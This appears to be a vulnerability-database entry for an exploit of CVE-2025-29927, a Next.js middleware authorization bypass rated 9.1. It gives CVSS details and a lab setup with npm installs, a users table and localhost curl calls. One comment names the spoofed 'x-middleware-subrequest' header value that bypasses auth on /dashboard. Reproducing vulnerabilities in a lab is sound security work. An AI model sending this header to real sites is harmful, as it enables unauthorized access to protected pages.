Vulnerability Details
Basic Information
| Title | Exploit for CVE-2025-29927 |
|---|---|
| Type | githubexploit |
| Published | 2025-04-18T00:47:47 |
| Last Seen | 2025-04-18T03:03:29 |
| CVSS Score | 9.1 (CRITICAL) |
CVSS v3 Details
| Attack Vector | NETWORK |
|---|---|
| Attack Complexity | LOW |
| Privileges Required | NONE |
| User Interaction | NONE |
| Scope | UNCHANGED |
| Confidentiality Impact | HIGH |
| Integrity Impact | HIGH |
| Availability Impact | NONE |
CVE Information
| CVE IDs | CVE-2025-29927 |
|---|---|
| CWE | |
| Bulletin Family | exploit |
Description
“`sh
npx [email protected]
“`
### Install packages
“`sh
npm install -D @types/bcrypt
npm install mysql2
npm install jose
npm install -D @types/jsonwebtoken
“`
### Prepare DB
“` SQL
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
);
“`
### Run
“`bash
npm run dev
“`
###
“`sh
# Register some users for test.
curl http://localhost:3000/api/register
# Curl dashboard with or without the header:
# “x-middleware-subrequest”: “middleware:middleware:middleware:middleware:middleware”
curl http://localhost:3000/dashboard
“`
Impact Assessment
| Base Score | 9.1 |
|---|---|
| Severity | CRITICAL |